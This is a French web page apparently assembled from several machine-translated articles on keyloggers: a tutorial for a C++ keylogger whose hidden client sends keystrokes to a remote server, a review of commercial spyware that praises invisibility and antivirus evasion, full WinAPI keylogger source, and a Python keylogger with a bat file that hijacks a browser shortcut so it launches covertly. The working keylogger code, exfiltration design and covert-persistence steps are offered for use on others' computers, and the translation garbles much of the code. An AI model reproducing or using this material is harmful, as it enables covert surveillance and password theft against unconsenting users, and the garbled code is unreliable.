Laboratoire de sécurité de l'information.              Laboratoire de sécurité de l'information Combien de temps cela a-t-il pris ?


Et avant de commencer à lire, jetez un œil à mon blog, où je publie mes articles originaux sur la programmation, la virologie et d'autres choses intéressantes.
Article original -

Toutes les informations sont fournies à titre informatif uniquement. Ni l'administration ni l'auteur ne sont responsables de tout dommage éventuel causé par les éléments de cet article.


Préface
Pendant environ un mois, j'ai constamment observé diverses demandes et questions concernant les keyloggers. Beaucoup ont cherché, mais n'ont pas pu trouver le code source, beaucoup ont cherché, mais les vendeurs n'ont pas pu le trouver, etc.

Dans cet article, je souhaite montrer à quel point il est facile d'écrire votre propre enregistreur de frappe avec des fonctionnalités de base. J'ai emprunté la base d'ici - * * , corrigé des bugs et modifié pour interagir avec WinSocket.

Matériaux
  • Mise à jour 4 de la communauté Visual Studio 2015
  • Visuel C++ 2015
Structure de la candidature
Tout d’abord, vous devez déterminer comment le keylogger fonctionnera en général. Qu'il s'agisse d'envoyer des journaux vers FTP/Mail, d'enregistrer des clics sur un socket, d'envoyer un fichier à une porte, d'écrire des journaux dans une base de données.
J'ai décidé de m'en tenir aux sockets. Pourquoi? C'est pratique, simple et utilisable.
En fonction du choix, nous devrons faire 2 candidatures :

Serveur
  • Application console qui recevra les données du client et les affichera dans la console
Client
  • En fait, le keylogger lui-même, qui enverra les frappes au serveur
Et nous commencerons peut-être par le serveur.

Serveur
Créez une application console C++ dans Visual Studio.
Tout le code est au bureau. Exemple MSDN - *Connectez-vous au forum pour voir les liens. *
Il nous suffit d'y remplacer quelques valeurs...
Notons immédiatement les variables constantes : la taille du tampon et le port du serveur auquel les logs seront envoyés

Code:

#define DEFAULT_BUFLEN 1024 //Tampon #define DEFAULT_PORT "1337" //Port

Au lieu d'un do/while unique, nous mettons en place une boucle sans fin dans laquelle nous recevrons les données du client, les afficherons sur la console, fermerons la connexion et recommencerons :

Code:

Do ( ClientSocket = accept(ListenSocket, NULL, NULL); // Accepter la connexion iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // Lire le log if (iResult > 0) // Si le log n'est pas vide printf("% s", recvbuf); //Sortie closesocket(ClientSocket);//Fermer la connexion memset(recvbuf, 0, sizeof recvbuf);//Libérer la mémoire) while (true);

Nous compilons sur Release, téléchargeons-le sur Dedik, ouvrons le port dont nous avons besoin et lançons

Client


Créez une application Win32 dans Visual Studio.
Comme je l'ai dit ci-dessus, j'ai pris le gestionnaire de crochets et de clics du clavier de *Connectez-vous au forum pour voir les liens. *
Pour sécuriser l'envoi des clics vers la socket, je me suis tourné vers *Connectez-vous au forum pour voir les liens. *
De plus, nous définissons immédiatement des variables constantes : longueur du tampon, IP du Dedik/ordinateur et port

Code:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Certaines variables ont dû être retirées de leurs méthodes et rendues globales pour que le code commence à fonctionner correctement :

Code:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char dernière fenêtre ; int Save(int key_stroke);// Suppression du deuxième argument

Nous créons une méthode d'envoi de données au serveur en suivant l'exemple au début du paragraphe. Ensuite, partout nous remplaçons le port, l'IP et les informations transmises par des arguments de fonction :

Code:

Annuler sendData (char *ip, char * port, char*data)

Dans la méthode Save, nous procédons comme suit : nous supprimons le deuxième argument et modifions l'enregistrement des journaux dans un fichier à envoyer au serveur :

Code:

Données sur les caractères ; sprintf(data, "\n\n\n", window_title, s); sendData (SERVER_IP, SERVER_PORT, données);

Ensuite, en utilisant le même principe, nous modifions l'envoi des frappes de service. Vous pouvez envoyer des lettres de cette façon :

Code:

Char c; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);

Nous découpons du code tout ce qui concerne la visibilité de la fenêtre, et le tour est joué.

Conclusion
Lorsque le keylogger est lancé, il se bloque dans les processus et traite chaque frappe. Il est possible que certains caractères ne s'affichent pas correctement, par exemple les barres obliques, mais tout cela peut être corrigé vous-même (après tout, si tout était parfait, Jésus frapperait à mon MP pour me demander de vérifier le vendeur du keylogger privé).

Divers programmes espions sont nécessaires dans des conditions où de nombreuses personnes ont accès à un seul ordinateur.

Dans ces conditions, l'utilisateur peut vouloir savoir quels sites ont été visités depuis son ordinateur (par exemple par des enfants), si un vol a eu lieu depuis cartes de crédit en utilisant des mots de passe enregistrés, etc. pour clarifier ces problèmes dont vous aurez besoin.

Notre avis vous permettra de faire le meilleur choix.

Caractéristiques de choix

Qu’est-ce qu’un enregistreur de frappe exactement ? Il s’agit d’un programme qui, à proprement parler, n’est pas directement lié au clavier.

Il est installé dans la mémoire de l'ordinateur et agit. Souvent, les signes de son activité ne sont pas visibles sur l’ordinateur, sauf si vous les recherchez spécifiquement.

Un tel programme interagit indirectement avec le clavier, c'est-à-dire qu'il fonctionne avec un programme sur le PC qui convertit les signaux reçus par le processeur suite à l'appui sur les boutons en texte lors de l'impression.

Autrement dit, l'action d'un tel logiciel vise à collecter les informations saisies via le clavier.

Il existe de tels utilitaires différents types– avec l'aide de certains, vous pouvez visualiser tout le texte saisi au clavier, avec d'autres – uniquement ce qui a été saisi dans le navigateur ou dans n'importe quelle application sélectionnée.

Certains programmes offrent la possibilité de configurer de tels indicateurs, d'autres non.

Ils diffèrent également les uns des autres par le degré de secret. Par exemple, l'activité de certains est évidente, un raccourci reste sur le Bureau, etc., tel les programmes conviennent pour surveiller les activités, par exemple, des enfants.

Les traces de la présence et de l'activité d'autrui ne sont pas du tout perceptibles - elles sont cachées et peuvent être installées sur l'ordinateur de quelqu'un d'autre, lorsque le fait de l'installation doit être caché à un utilisateur tiers.

Compte tenu d’une telle diversité, choisir le logiciel le plus adapté peut s’avérer assez difficile.

Ce matériel présente le TOP meilleurs programmes, qui peut être utilisé à cette fin. Il est plus facile de choisir le bon parmi eux.

Caractéristiques

Pour simplifier le processus de sélection logiciel Le tableau ci-dessous présente les principales caractéristiques comparatives de tous les programmes inclus dans le TOP.

NomType de licenceType d'informations collectéesFonctionnelConception
SC-KeyLogGratuitementTousLargeSimplifié
Enregistreur de frappe pratique WideStepGratuit/PayantTousLargeAmélioré
Espion réelPayéTousTrès largeStandard
Enregistreur de frappe ElitePayéTousLargeStandard
Le rat!Gratuit/PayantMoins que le précédentAssez largeInesthétique
ESPIONGratuitementSelon versionSelon versionApparence standard de Windows
Enregistreur de frappe Ardamax 2.9GratuitementDepuis le clavierRétréciSimplifié
Moniteur personnel NS Keylogger 3.8GratuitementTousRétréciSimplifié
Espion du KGBPayéDepuis le clavier + programmes ouvertsÉtroitSimple
Enregistreur de frappe doré 1.32GratuitementDepuis le clavierTrès étroitSimple

Sur la base des caractéristiques de ce tableau, il est facile de choisir le programme qui correspond le mieux à vos besoins spécifiques.

Ces utilitaires sont décrits plus en détail ci-dessous.

SC-KeyLog

Il s'agit d'un programme d'espionnage volumineux et fonctionnel distribué gratuitement.

En plus de suivre spécifiquement les informations saisies à partir du clavier, il est également capable de collecter les adresses des sites visités, les mots de passe et les fenêtres de navigateur ouvertes.

Fournit des informations complètes sur toutes les actions effectuées sur l'ordinateur. Dans ce cas, le fichier généré peut être consulté à distance depuis un autre appareil.

  • Opportunité accès à distance vers un fichier depuis un autre appareil ;
  • Aucune trace d'activité de programme sur l'ordinateur avec les paramètres corrects ;
  • Variété de données collectées – des informations sur presque toutes les actions sur le PC sont accessibles.
  • Enregistre les mots de passe uniquement jusqu'à NT0 ;
  • Menu trop simple et design inesthétique ;
  • Un format plutôt peu pratique pour afficher le résultat.

Que disent les utilisateurs qui utilisent activement ce logiciel ? « Absolument invisible pour l'utilisateur », « Les données arrivent régulièrement par email. »

Enregistreur de frappe pratique WideStep

Cette application est distribuée gratuitement. La version complète payante coûte 35 $.

Un programme assez intéressant et fonctionnel qui vaut son prix si vous êtes prêt à le payer.

Particularité– la possibilité d'envoyer des données enregistrées à une fréquence spécifiée. Sinon, cela fonctionne bien, souvent plus stable que les autres programmes de cette liste.

  • Collecte de divers types d'informations ;
  • Invisibilité totale du travail sur l'ordinateur de l'utilisateur ;
  • Interface et commandes simples.
  • La conception est meilleure que celle du programme précédent, mais toujours pas géniale ;
  • Le format d'affichage des résultats n'est pas pratique ;
  • La version payante est assez chère.

Les avis des utilisateurs sur ce logiciel sont les suivants : « Programme pratique, simple et fonctionnel. Assez invisible lorsque je travaille.

Espion réel

Il s'agit d'un programme payant fonctionnel et complexe qui coûte 600 roubles. Cependant, il dispose d’une version démo gratuite.

Caractéristique de ce logiciel– capacité dans une période de temps donnée.

Cela permet de résoudre le problème de la saisie d'un mot de passe/clé graphique, qui s'est récemment répandu.

  • De nombreux types d'informations collectées ainsi que la possibilité de prendre des captures d'écran de l'écran pendant une période spécifiée ;
  • Un grand nombre d'autres fonctions supplémentaires et fonctionnalités ;
  • Enregistre non seulement les actions, mais aussi l'heure à laquelle elles ont été exécutées ;
  • Chiffre le journal généré.
  • La durée du travail (collecte d'informations) dans la version démo gratuite est de 40 minutes ;
  • Distribution payante, bien qu'un prix plus ou moins raisonnable ;
  • Le poids du programme est assez important.

Avis d'utilisateurs sur cette application sont : « Le programme est excellent. Bravo les programmeurs ! »

Enregistreur de frappe Elite

Programme payant avec un prix assez élevé– 69 dollars. Il fonctionne de manière totalement indétectable sur un PC en mode bas niveau, ce qui le rend presque totalement indétectable.

Fonctionnalité intéressante et pratique– lancement automatique du logiciel, intervenant simultanément au lancement du système lui-même.

Il est difficile à détecter, voire pas du tout, même par des anti-keyloggers spéciaux.

  • Action complètement cachée et difficile à détecter ;
  • Format d'exploitation de type pilote de bas niveau et démarrage automatique au démarrage du système ;
  • Il suit également les pressions non seulement sur les touches principales, mais également sur les touches de service du clavier.
  • Assez un système complexe installer le programme sur un PC ;
  • Le programme est cher, mais vous pouvez trouver une ancienne version piratée sur Internet russe ;
  • Un système assez complexe de paramètres de programmes individuels, qui se justifie cependant.

Que disent les utilisateurs de ce logiciel ? " Bon programme", "Un peu en deçà de Jetlogger."

Le rat!

Un utilitaire fonctionnel assez courant et populaire avec une licence payante.

Toutefois, pour un usage privé, une version démo gratuite est proposée pour une durée limitée.

Le programme est très simple– n’importe quel utilisateur avancé peut écrire la même chose. Cependant, il est totalement indétectable par les antivirus et programmes spéciaux, détectant un tel logiciel.

  • Simplicité, fonctionnalité et haute stabilité ;
  • Poids minimum du fichier et espace occupé par celui-ci sur l'ordinateur ;
  • Pas mal de réglages.
  • Un design plutôt désagréable, réalisé en noir, blanc et rouge ;
  • La fonctionnalité est un peu plus étroite que dans les programmes décrits précédemment ;
  • Visualisation peu pratique du journal et interface et utilisation généralement peu pratiques.

Les utilisateurs disent ce qui suit à propos de ce programme : « Il fonctionne de manière stable, mais c'est un peu simple », « Le programme est bon, il vous permet de collecter des données inaperçues ».

ESPION

Il s'agit d'un enregistreur de frappe fondamentalement nouveau, conçu pour fonctionner et développé par un programmeur russe.

Publié le 18 janvier 2015. Où?" Il n'est pas nécessaire de chercher des moyens faciles, surtout sur Internet :). Téléchargez keylogger gratuitement vous pouvez, mais préparez-vous à diverses restrictions ou surprises. Premièrement, la fonctionnalité du keylogger sera faible. Démos gratuites des programmes à part entière contiennent généralement des restrictions, parfois inattendues :). Deuxièmement, il n'y aura pas d'enregistreurs de frappe supplémentaires, généralement associés. programmes supplémentaires ou fonctions de traitement des journaux, paramètres de suivi, etc. Troisièmement, vous ne trouverez pas de support pour les enregistreurs de frappe auprès des fabricants. Au lieu de chercher où télécharger keylogger gratuitement, pensez à l'écrire vous-même ? le plus simple enregistreur de frappe pour Windows Ce n’est pas très difficile à écrire si vous possédez les bases de la programmation Windows. Nous continuons donc à publier les sources des keyloggers. Enregistreur de frappe pour Windowsécrit en C++, en utilisant naturellement l'API Win. Le crochet de clé est implémenté à l'aide de SetWindowsHookEx(WH_KEYBOARD_LL,...). Un fichier exécutable est créé sans bibliothèque dll, pour ainsi dire, un keylogger dans un seul fichier ! Les avantages sont évidents : c'est plus facile à organiser installation à distance, taille plus petite, plus grand secret (la dll ne se bloquera pas dans les processus de toutes les applications). L'inconvénient de cette méthode d'interception est qu'elle est instable, ou refuse généralement de fonctionner sous Windows 7. Intercepter des clés sans utiliser de DLL (WH_KEYBOARD_LL) provoque des malentendus entre les sept. Vous devez utiliser le chamanisme et la magie pour faire fonctionner le keylogger. Bien sûr, il y a toujours une issue (cherchez-la vous-même, et que la force soit avec vous :)). Vous pouvez également en écrire un normal en utilisant SetWindowsHookEx (WH_KEYBOARD_LL ,...). Tout ira bien sous Windows 7. Le fonctionnement de WH_KEYBOARD_LL dans Windows 8 n'est pas encore connu.

La journalisation est organisée via un flux de fichiers. Ajout de quelques éléments pour améliorer la lisibilité du journal. Le code est petit et efficace. Convient pour un enregistreur de frappe pour Windows avec certains additifs et la question est de savoir où puis-je télécharger keylogger gratuitement disparaît.

Fichier source *.exe :

#inclure< windows.h >#inclure< fstream >#inclure< iostream >#inclure< algorithm >#inclure< string >en utilisant l'espace de noms std ; chaîne maClé ; BOOL isCaps(); char logName = "keys.txt"; // Nom du FICHIER LOG // initialise toutes les variables pour la vitesse du message MSG ; Clavier HHOOKHook ; char keyNameBuff; PKBDLLHOOKSTRUCT p; non signé int sc ; //keylogger pour Windows void writeToLog(string s) //écrit une chaîne dans le journal ( ofstream log(logName, ios::app); //ouvre le journal du fichier journal<< s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc<<= 16; //shift 16 bits if (!(p->vkCode<= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

Vous pouvez utiliser n'importe quel environnement de développement de votre choix (Dev-C++, MSVS, Borland C++). Nous collectons, apportons les modifications individuelles nécessaires etenregistreur de frappe pour Windowsprêt et passez du temps à chercher où vous pouveztélécharger

Bonjour, habitants de Khabrovsk.

J'ai décidé d'écrire un enregistreur de clavier logiciel en C++ en utilisant WinAPI. Je ne peux pas dire que je poursuivais une sorte d’objectif d’espionnage lorsque je l’ai écrit ; je me familiarisais plutôt avec les hooks WinAPI. Comme cela ne s'est pas si mal passé et qu'il n'y a pas d'article sur Habré sur les logiciels de journalisation, j'ai décidé d'écrire le mien.

Comment cela se fait-il ?

Un crochet de clavier a été utilisé pour capturer les pressions sur les touches.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Afin d'intercepter toutes les frappes du clavier, il est pratique de spécifier WH_KEYBOARD ou WH_KEYBOARD_LL comme paramètre idHook. La seule différence est que WH_KEYBOARD_LL intercepte également les pressions sur les touches système (c'est-à-dire Alt ou n'importe quelle touche pendant que Alt est enfoncé), nous allons donc le sélectionner.

Lpfn est un pointeur vers une fonction qui traite les messages interceptés (dans notre cas, les frappes au clavier).
hMod est un handle d'instance d'application contenant une fonction de traitement.
dwThreadId est l'identifiant du thread dont nous voulons intercepter les messages. Ce paramètre doit être défini sur 0 pour intercepter les messages de tous les threads.

La valeur de retour est un handle vers notre hook, qui devra être libéré avec la fonction UnhookWindowsHookEx lors de la sortie.
En regardant MSDN pour obtenir de l'aide, nous voyons un prototype de fonction qui traite les messages de ce hook.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode doit être égal à HC_ACTION, sinon le message est donné à un autre processus.
wParam est l'une des valeurs suivantes : WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN ou WM_SYSKEYUP.
lParam est un pointeur vers la structure KBDLLHOOKSTRUCT, dans les champs de laquelle on ne s'intéresse qu'à 2 paramètres : vkCode (code virtuel) et scanCode de la touche enfoncée.
Cette fonction doit renvoyer la valeur de la fonction CallNextHookEx, sinon le prochain hook qui traite l'événement risque de recevoir des paramètres de message incorrects.
Chaque fois qu'une touche est enfoncée, notre programme interceptera cet événement et le traitera avec notre procédure LowLevelKeyboardProc.

Afin de retraduire le code virtuel et scanné d'une clé sous forme symbolique, nous avons besoin de la fonction ToAsciiEx.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

Les 2 premiers paramètres sont respectivement les codes virtuels et scannés de la clé.
lpKeyState — état du clavier, vérifie quelles touches sont enfoncées/actives.
lpChar est un pointeur vers un double mot dans lequel la fonction écrira la représentation symbolique de la clé.
uFlags est un paramètre indiquant l'activité du menu.
dwhkl — identifiant de la disposition du clavier.
La valeur de retour est le nombre de caractères écrits dans le tampon lpChar. Nous nous intéressons au cas où 1 caractère est écrit.
Fondamentalement, ce sont les 3 fonctions principales requises pour le plus simple des enregistreurs de clavier.

Un peu sur le programme

Le programme est compilé sans RTL dans Visual Studio 2013. Ainsi, on obtient une petite taille du fichier exécutable et l'impossibilité de construire dans la version de débogage. Les données sont écrites dans un fichier journal dans le même répertoire où se trouve le fichier .exe. Pour plus de commodité, l'enregistreur crée un nouveau fichier à chaque fois qu'il enregistre, enregistre le temps d'appui sur les touches, le nom de la fenêtre dans laquelle les caractères ont été saisis et s'arrête en appuyant sur LSHIFT+RSHIFT. Ce renifleur n'est pas adapté pour un clavier complet ; certaines touches de service, comme F13 ou NUM_LOCK, peuvent s'écrire sous la forme . Je pense que ceux qui connaissent au moins un peu le C/C++ peuvent facilement les ajouter. De plus, vous pouvez complètement modifier le code à votre convenance.

Bonjour, QUAZAR est de nouveau là. Aujourd'hui, je vais vous montrer comment créer un simple enregistreur de frappe en Python. Bien sûr, ce keylogger ne peut pas rivaliser avec des géants tels que, mais malgré cela, il peut trouver son utilité.

Qu'est-ce qu'un enregistreur de frappe ?

Vous pouvez lire en détail ce qu'est un keylogger et les types de keyloggers dans l'article « ». Pour trouver du matériel supplémentaire sur le sujet, utilisez la recherche sur le site, située dans le coin supérieur droit. Entrez simplement le mot « keylogger » ou « keylogger ».

Enregistreur de frappe simple en Python

Pour créer un keylogger, nous avons besoin de :

  • Système d'exploitation : Windows ou MacOs (n'importe quel Linux peut également être utilisé, mais je ne l'ai pas essayé personnellement)
  • Python installé sur la machine cible, ainsi que des bibliothèques spéciales.

Ce matériel est uniquement à des fins d’information. Les informations présentées dans cet article sont fournies à titre informatif uniquement. Ni les éditeurs du site www.site ni l'auteur de la publication n'assument aucune responsabilité pour tout préjudice causé par le contenu de cet article.

Création d'un simple enregistreur de frappe en Python

Vous devez d’abord télécharger et installer Python.


Enregistreur de frappe simple en Python

Après avoir installé Python, vous devez installer les modules "pyHook" et "pywin32". Sur ce site, vous trouverez des versions 32 et 64 bits pour Windows et autres OS. Téléchargez "PYhook" et "pyWin32" selon votre version installée de Python et Windows (32 bits ou 64 bits).


Enregistreur de frappe en Python. Module PYhook Keylogger en Python. module pyWin32

Une fois téléchargé, installez et ouvrez le menu IDLE (Python GUI) à partir du menu Démarrer.

Enregistreur de frappe simple en Python

Allez dans le menu « Fichier » et cliquez sur l'élément « Nouveau fichier ». Collez ensuite le code du keylogger :

#Nom : QUAZAR
#Site Internet : www.site
importer pyHook, pythoncom, sys, journalisation
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent (événement):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(événement.Ascii)
journalisation.log(10,chr(event.Ascii))
retourner vrai
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Et enregistrez-le en appelant le fichier Keylogger.pyw. N'enregistrez simplement pas le fichier dans le répertoire racine C : où vous avez besoin des droits d'administrateur pour copier et supprimer des fichiers. Créez un nouveau dossier sur votre lecteur C: ou à un autre emplacement où vous n'avez pas besoin de droits d'administrateur pour copier des fichiers et enregistrez-y Keylogger.pyw.

Vous pouvez sélectionner n'importe quel emplacement comme fichier de rapport de sortie « file_log = « C:keyloggerlog.txt », mais de préférence, bien sûr, un emplacement caché sur votre disque dur. Dans cet exemple, je vais enregistrer le fichier de rapport sur le disque dans le répertoire racine C :. Après tout, je n'ai rien à cacher.

Lancement automatique d'un keylogger en Python

Le keylogger est prêt. Nous devons maintenant nous assurer que le keylogger démarre de manière cachée pour l'utilisateur et automatiquement au démarrage de Windows. Cela peut être mis en œuvre de différentes manières. Essayons de le faire en utilisant un fichier bat en liant le lancement du keylogger à un programme ou en l'enregistrant au démarrage.

Tout d’abord, créez un fichier bat. Copiez et collez le code suivant dans le Bloc-notes :

::Nom : QUAZAR
::Site Web : www.site
@Écho off
démarrer "" "C:keyloggerkeylogger.pyw"
démarrez "" "C:Program FilesOperalauncher.exe"

Dans la première ligne, vous devez entrer le chemin d'accès au fichier keylogger.pyw (dans mon cas « C:keylogger.pyw »). Dans la deuxième ligne, vous devez saisir le chemin d'accès au programme que l'utilisateur utilise habituellement (dans mon cas, le navigateur Opera).

Après l'édition, enregistrez le fichier avec une extension .bat (dans mon cas logger.bat) dans un emplacement caché sur votre ordinateur (dans mon cas dans « C:keylogger.bat »).

Allez maintenant sur le bureau et sélectionnez un raccourci pour un programme fréquemment utilisé (dans mon cas, il s'agit du navigateur Opera). Cliquez avec le bouton droit de la souris pour appeler le menu contextuel et accédez aux propriétés du raccourci. Dans le champ « Objet », saisissez le chemin d'accès au fichier bat du keylogger « C:keyloggerlogger.bat ».

Après avoir apporté des modifications, l'icône de raccourci changera également. Mais cela peut être facilement résolu dans l'onglet Propriétés (voir capture d'écran ci-dessus).

Publications sur le sujet